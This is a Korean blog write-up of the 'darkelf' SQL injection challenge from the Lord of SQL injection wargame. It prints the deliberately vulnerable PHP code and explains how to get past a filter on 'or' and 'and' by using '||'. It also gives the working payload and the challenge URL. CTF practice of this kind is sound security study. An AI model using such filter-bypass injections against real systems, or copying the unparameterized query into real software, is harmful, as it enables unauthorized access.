write-up/LOS write-up

LOS (Lord of SQL injection) 문제 6번 darkelf write-up

정보보호학과 새내기 2021. 7. 6. 16:17
반응형

문제 6번 - darkelf

 

query : select id from prob_darkelf where id='guest' and pw=''

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

일단 다른 문제들과 마찬가지로 php코드가 주어져있다.

 

먼저 필터링함수를 확인해보면 앞선 문제들과 같이 prob와 _ , . , ( , )을 필터링하지만 추가로 or과 and를 필터링하는 것을 알 수 있다. 추가로 i를 통해 대소문자를 구별하지 않는 것도 확인할 수 있다.

<?php 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
?>

 

또 clear조건을 확인하기 위해 조건문 코드를 확인해보면 result에 참인 값이 들어가면 되는 것이 아니라 result에 id가 admin이어야한다는 것을 알 수 있다. 

<?php
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

 

 

필터링 함수와 조건문을 확인해보니 or과 and 없이 다른 문제들과 같이 id를 admin으로 설정해주면 된다는 것을 알 수 있다. 따라서 and와 or을 대체할 수 있는 것이 필요한데 문제 5번에서 ||와 &&를 알게 되었다.

 

따라서 해당 주소 php 뒤에 pw='||id='admin'%23을 입력한다.

 

solve

https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php?pw=%27||id=%27admin%27%23

클리어 화면

 

반응형